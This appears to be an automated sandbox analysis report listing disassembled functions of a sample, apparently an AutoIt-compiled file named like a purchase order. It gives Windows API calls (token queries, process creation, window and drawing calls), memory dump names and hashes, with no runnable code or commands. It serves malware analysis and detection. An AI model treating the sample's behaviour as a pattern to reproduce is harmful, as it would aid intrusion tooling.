Part of subcall function 00B9AA62: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00B9AA79
Part of subcall function 00B9AA62: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00B9AA83
Part of subcall function 00B9AA62: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00B9AA92
Part of subcall function 00B9AA62: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00B9AA99
Part of subcall function 00B9AA62: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00B9AAAF

GetLengthSid.ADVAPI32(?,00000000,00B9ADE4,?,?), ref: 00B9B21B
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00B9B227
HeapAlloc.KERNEL32(00000000), ref: 00B9B22E
CopySid.ADVAPI32(?,00000000,?), ref: 00B9B247

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Heap$AllocInformationProcessToken$CopyErrorLastLength
String ID:
API String ID: 4217664535-0
Opcode ID: 8d92310b62e98384bd69f9475265374a759d0471238905386ad71e36874fbeea
Instruction ID: 3d6d5bba76dc8193eb5922ffd8d72092f58f6b3fb88ca7394ae93ccce1fcc713
Opcode Fuzzy Hash: 8d92310b62e98384bd69f9475265374a759d0471238905386ad71e36874fbeea
Instruction Fuzzy Hash: 8D11C171A00205EFCF149F94ED94EAEBBE9EF85304F1480BDE9429B210D7B1AE44CB10

Function 00B9B478 Relevance: 6.1, APIs: 4, Instructions: 58windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,000000B0,?,?), ref: 00B9B498
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B9B4AA
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B9B4C0
SendMessageW.USER32(?,000000C9,?,00000000), ref: 00B9B4DB

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: debb5b297ca440cfb205bb922d56fdd35f3c53c78aea67b9fc9e8c1b906827a8
Instruction ID: 9994aba2ba258158f1ef2fb2b9c20ae792b4a5f289387f8744a6db23b8a9fc54
Opcode Fuzzy Hash: debb5b297ca440cfb205bb922d56fdd35f3c53c78aea67b9fc9e8c1b906827a8
Instruction Fuzzy Hash: 4011367A900218BFDF11DBA8C981E9DBBB4FB08700F2040A1E604A7294D771AE10EB94

Function 00B7B55D Relevance: 6.1, APIs: 4, Instructions: 56COMMON

Download Yara Rule

APIs

Part of subcall function 00B7B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B7B35F

DefDlgProcW.USER32(?,00000020,?,00000000), ref: 00B7B5A5
GetClientRect.USER32(?,?), ref: 00BDE69A
GetCursorPos.USER32(?), ref: 00BDE6A4
ScreenToClient.USER32(?,?), ref: 00BDE6AF

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Client$CursorLongProcRectScreenWindow
String ID:
API String ID: 4127811313-0
Opcode ID: 0cbec2a0aed429e639fc40ae408239d9ea6857d251e64c1394f449d653db7f21
Instruction ID: fbcc736864be27a211acc514c5dc3d1e7bac0cc358866918f7fedc94a4f24c83
Opcode Fuzzy Hash: 0cbec2a0aed429e639fc40ae408239d9ea6857d251e64c1394f449d653db7f21
Instruction Fuzzy Hash: 20112571900029BFCB14AF94D885EAE7BF8EB18304F004496F925AB140E770AA81CBA1

Function 00BA732B Relevance: 6.1, APIs: 4, Instructions: 55synchronizationthreadwindowCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00BA7352
MessageBoxW.USER32(?,?,?,?), ref: 00BA7385
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 00BA739B
CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 00BA73A2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CloseCurrentHandleMessageObjectSingleThreadWait
String ID:
API String ID: 2880819207-0
Opcode ID: 61505acd2890f0188bb706419ef683a90b3e916fd27c1c597310fa2934fd43f1
Instruction ID: ee3fc413f4421b93a56f53a715e491abb4c1d3cd232209abed5376475049ad99
Opcode Fuzzy Hash: 61505acd2890f0188bb706419ef683a90b3e916fd27c1c597310fa2934fd43f1
Instruction Fuzzy Hash: ED110872A0C244EFCB019B68DC45B9E7BEDDB45310F144395F921E32A1DAB08D0187A5

Function 00B7D17C Relevance: 6.1, APIs: 4, Instructions: 53windowCOMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00B7D1BA
GetStockObject.GDI32(00000011), ref: 00B7D1CE
SendMessageW.USER32(00000000,00000030,00000000), ref: 00B7D1D8

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CreateMessageObjectSendStockWindow
String ID:
API String ID: 3970641297-0
Opcode ID: 7cadb5039f92e681a1e78af81e5eb5f74aa5b76e00dcf17ead0810f72b64f7d7
Instruction ID: 6bb754cfbf1c85bdbd8e8f249b7df9f96931325396a2a18638e9a48423da9cfb
Opcode Fuzzy Hash: 7cadb5039f92e681a1e78af81e5eb5f74aa5b76e00dcf17ead0810f72b64f7d7
Instruction Fuzzy Hash: 0211C072101549BFEF124F90DC90EEABBB9FF083A5F448146FA2966150CB71DC61EBA0

Function 00B94DF2 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 00B94E16

Part of subcall function 00B954F5: __fltout2.LIBCMT ref: 00B9551E

__cftog_l.LIBCMT ref: 00B94E3C
__cftoe_l.LIBCMT ref: 00B94E6E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction ID: 7040dacb7870cfba3b4d7fa9deac4f1bec5bc77212e0008066222bbad6cc025f
Opcode Fuzzy Hash: 3c6a35542a271610c24967ae1addb0a5128256cd46e27c9700edfec13bdc5c5a
Instruction Fuzzy Hash: A1014B3204054EBBCF275E94DC51CEE3FA2FB18354B5984A5FE1859135D336CAB2AB81

Function 00B87452 Relevance: 6.0, APIs: 4, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00B87A0D: __getptd_noexit.LIBCMT ref: 00B87A0E

__lock.LIBCMT ref: 00B8748F
InterlockedDecrement.KERNEL32(?), ref: 00B874AC
_free.LIBCMT ref: 00B874BF
InterlockedIncrement.KERNEL32(01932990), ref: 00B874D7

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Interlocked$DecrementIncrement__getptd_noexit__lock_free
String ID:
API String ID: 2704283638-0
Opcode ID: 05840ec933c1804e56ac52fb4e1a9729509e7304acee6a3240ec41e5d2f7351c
Instruction ID: effb8123f6923aa4d102eb4e8118069218fa856e99f744d378eab56b45f69034
Opcode Fuzzy Hash: 05840ec933c1804e56ac52fb4e1a9729509e7304acee6a3240ec41e5d2f7351c
Instruction Fuzzy Hash: F7015B32A8A6219BD712BF64944979DBBE0BF05729F288085F824677B0CF34D941CFD6

Function 00B87A94 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 00B87AD8

Part of subcall function 00B87CF4: __mtinitlocknum.LIBCMT ref: 00B87D06
Part of subcall function 00B87CF4: EnterCriticalSection.KERNEL32(00000000,?,00B87ADD,0000000D), ref: 00B87D1F

InterlockedIncrement.KERNEL32(?), ref: 00B87AE5
__lock.LIBCMT ref: 00B87AF9
___addlocaleref.LIBCMT ref: 00B87B17

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: __lock$CriticalEnterIncrementInterlockedSection___addlocaleref__mtinitlocknum
String ID:
API String ID: 1687444384-0
Opcode ID: 2c9305c033eb7cb5fadb6ec3176087be63917f1ad912698178e008208deb1ee7
Instruction ID: 9f20b1c94d89d781968bf15b2f46de333242ee6072fba21794a3900796bd9adb
Opcode Fuzzy Hash: 2c9305c033eb7cb5fadb6ec3176087be63917f1ad912698178e008208deb1ee7
Instruction Fuzzy Hash: C3016D71445B00DFD721EF75D90674AB7F0EF40325F20898EA49A972B0CFB0A680CB55

Function 00BCE32E Relevance: 6.0, APIs: 4, Instructions: 40processCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BCE33D
_memset.LIBCMT ref: 00BCE34C
CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,00C23D00,00C23D44), ref: 00BCE37B
CloseHandle.KERNEL32 ref: 00BCE38D

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _memset$CloseCreateHandleProcess
String ID:
API String ID: 3277943733-0
Opcode ID: 35edc9b569fd0af8d43ab67bebca656e052b22080e3cb9375335cb4e368ecb62
Instruction ID: d8157af3c08d6dd9344dbbea2b7fcd31dc1a9c8fe81d3fa290bc8f37d51cbf42
Opcode Fuzzy Hash: 35edc9b569fd0af8d43ab67bebca656e052b22080e3cb9375335cb4e368ecb62
Instruction Fuzzy Hash: B5F089F1670394BEE7102760AC45F7B7E9CD704754F004421FF04DA5A2DBB99D0187A8

Function 00BCEA6A Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00B7AF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 00B7AFE3
Part of subcall function 00B7AF83: SelectObject.GDI32(?,00000000), ref: 00B7AFF2
Part of subcall function 00B7AF83: BeginPath.GDI32(?), ref: 00B7B009
Part of subcall function 00B7AF83: SelectObject.GDI32(?,00000000), ref: 00B7B033

MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00BCEA8E
LineTo.GDI32(00000000,?,?), ref: 00BCEA9B
EndPath.GDI32(00000000), ref: 00BCEAAB
StrokePath.GDI32(00000000), ref: 00BCEAB9

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Path$ObjectSelect$BeginCreateLineMoveStroke
String ID:
API String ID: 1539411459-0
Opcode ID: 6da45febda1f199124bc984536af692dc6a39d448e5d8fbe3d53da88f07e10bf
Instruction ID: 4af87b1aa0371b2c5c38fb714b32a6c78d523d9e519292f01c83623afc7d5b38
Opcode Fuzzy Hash: 6da45febda1f199124bc984536af692dc6a39d448e5d8fbe3d53da88f07e10bf
Instruction Fuzzy Hash: 20F08231005299BBDB229F94AC0DFCE3F59AF1A321F084145FE116A0E2CBB59552DB95

Function 00B9C82D Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00B9C84A
GetWindowThreadProcessId.USER32(?,00000000), ref: 00B9C85D
GetCurrentThreadId.KERNEL32 ref: 00B9C864
AttachThreadInput.USER32(00000000), ref: 00B9C86B

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
String ID:
API String ID: 2710830443-0
Opcode ID: 883c2dadc5bf0fe347218d4bf9da9dbc79f3ddb822556142f57e682f154137e4
Instruction ID: 551dc96e829080855f2f9efcd3313ef113d03f62367cd87db68a486f472550de
Opcode Fuzzy Hash: 883c2dadc5bf0fe347218d4bf9da9dbc79f3ddb822556142f57e682f154137e4
Instruction Fuzzy Hash: 4FE065711412A47BDF101F61DC8DEDB7F5CEF067A1F008061B60D99460DAB1C981C7E0

Function 00B9B0CD Relevance: 6.0, APIs: 4, Instructions: 23threadCOMMON

Download Yara Rule

APIs

GetCurrentThread.KERNEL32 ref: 00B9B0D6
OpenThreadToken.ADVAPI32(00000000,?,?,?,00B9AC9D), ref: 00B9B0DD
GetCurrentProcess.KERNEL32(00000028,?,?,?,?,00B9AC9D), ref: 00B9B0EA
OpenProcessToken.ADVAPI32(00000000,?,?,?,00B9AC9D), ref: 00B9B0F1

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CurrentOpenProcessThreadToken
String ID:
API String ID: 3974789173-0
Opcode ID: 9202beab85d50fdb36779cf9f1778430806a2b372214c9adcfd87ab5a8b362dd
Instruction ID: a9dc10fa2ef6bfefb8d81dd9c5a0138c3c22bb578a13c92e1df9bd74e71015f7
Opcode Fuzzy Hash: 9202beab85d50fdb36779cf9f1778430806a2b372214c9adcfd87ab5a8b362dd
Instruction Fuzzy Hash: E9E086326012119BDB201FB16D4CF473BE8EF55792F118868F241DF040DFB48401C761

Function 00B7B47D Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 00B7B496
SetTextColor.GDI32(?,000000FF), ref: 00B7B4A0
SetBkMode.GDI32(?,00000001), ref: 00B7B4B5
GetStockObject.GDI32(00000005), ref: 00B7B4BD
GetWindowDC.USER32(?,00000000), ref: 00BDDE2B
GetPixel.GDI32(00000000,00000000,00000000), ref: 00BDDE38
GetPixel.GDI32(00000000,?,00000000), ref: 00BDDE51
GetPixel.GDI32(00000000,00000000,?), ref: 00BDDE6A
GetPixel.GDI32(00000000,?,?), ref: 00BDDE8A
ReleaseDC.USER32(?,00000000), ref: 00BDDE95

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Pixel$Color$ModeObjectReleaseStockTextWindow
String ID:
API String ID: 1946975507-0
Opcode ID: 09305545c95a75c72d28613aa916ade70fbb39f4383eba912f25f1ccec364c6d
Instruction ID: da33c9c901288a193cd812fcb45b2560785a7f715a9ad88422f1288730cd5c0d
Opcode Fuzzy Hash: 09305545c95a75c72d28613aa916ade70fbb39f4383eba912f25f1ccec364c6d
Instruction Fuzzy Hash: 77E0ED31100280AFDF215F64AC49BD87B51EB51335F14C66AF6BA6D0E1DBB24981DB12

Function 00BDB29A Relevance: 6.0, APIs: 4, Instructions: 20COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00BDB29A
GetDC.USER32(00000000), ref: 00BDB2A4
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00BDB2C3
ReleaseDC.USER32 ref: 00BDB2E2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 466cf7cbd9bc95998541e49fcf4cb38b4a84a51c566c3b7b1a01807f27ae9398
Instruction ID: 7e1ad7f99641c54380d69534f452a2317db8a15ff3cabfec1af264dd8cdf4926
Opcode Fuzzy Hash: 466cf7cbd9bc95998541e49fcf4cb38b4a84a51c566c3b7b1a01807f27ae9398
Instruction Fuzzy Hash: 96E012B1100244EFEB015F708888A2EBBE8EF4C350F12C80AF96E8B211DEB598408B40

Function 00B9B2D4 Relevance: 6.0, APIs: 4, Instructions: 20synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00B9B2DF
UnloadUserProfile.USERENV(?,?), ref: 00B9B2EB
CloseHandle.KERNEL32(?), ref: 00B9B2F4
CloseHandle.KERNEL32(?), ref: 00B9B2FC

Part of subcall function 00B9AB24: GetProcessHeap.KERNEL32(00000000,?,00B9A848), ref: 00B9AB2B
Part of subcall function 00B9AB24: HeapFree.KERNEL32(00000000), ref: 00B9AB32

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: ef637cf2720e7596642d98e928a62df7570db7d1c9a8853a3adb758226a224cc
Instruction ID: d51ec79f4e02a477cadcd3c8ea366765de745e356e6fd0cb9248f2ef410363a4
Opcode Fuzzy Hash: ef637cf2720e7596642d98e928a62df7570db7d1c9a8853a3adb758226a224cc
Instruction Fuzzy Hash: F2E0B63A104045BBCB012BA5EC48859FBA6FF983213108621F62686575CF73A871EB95

Function 00BDB2AE Relevance: 6.0, APIs: 4, Instructions: 19COMMON

Download Yara Rule

APIs

GetDesktopWindow.USER32 ref: 00BDB2AE
GetDC.USER32(00000000), ref: 00BDB2B8
GetDeviceCaps.GDI32(00000000,0000000C), ref: 00BDB2C3
ReleaseDC.USER32 ref: 00BDB2E2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CapsDesktopDeviceReleaseWindow
String ID:
API String ID: 2889604237-0
Opcode ID: 5f2d3f0ab009080d38d353711f0013d312a7106d19fed5da5b71c17d43ba3a25
Instruction ID: 98d99b7bf2f557692f414d7a193e9b1e736bb141fd57699ab18fa388b8ec549d
Opcode Fuzzy Hash: 5f2d3f0ab009080d38d353711f0013d312a7106d19fed5da5b71c17d43ba3a25
Instruction Fuzzy Hash: A2E046B1500240EFDB015F70C88862D7BE8EF4C390F11C809F96E8B211CFBA99008B00

Function 00B9DCDF Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 240comCOMMON

Download Yara Rule

APIs

OleSetContainedObject.OLE32(?,00000001), ref: 00B9DEAA

Strings

Container, xrefs: 00B9DE29
AutoIt3GUI, xrefs: 00B9DE22

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ContainedObject
String ID: AutoIt3GUI$Container
API String ID: 3565006973-3941886329
Opcode ID: a1ee14e9e53525623f568cb1d52fb88b3f4edfda71439fa75c24bf5c261ac62d
Instruction ID: d00a6a9a3c28a92c893123ed67a245a67db4f3b0f742bdc14cf77d31e2052d97
Opcode Fuzzy Hash: a1ee14e9e53525623f568cb1d52fb88b3f4edfda71439fa75c24bf5c261ac62d
Instruction Fuzzy Hash: 81913574600601AFDF14DF65C885B6ABBF9FF49710B2084ADF94ACB691DBB0E841CB60

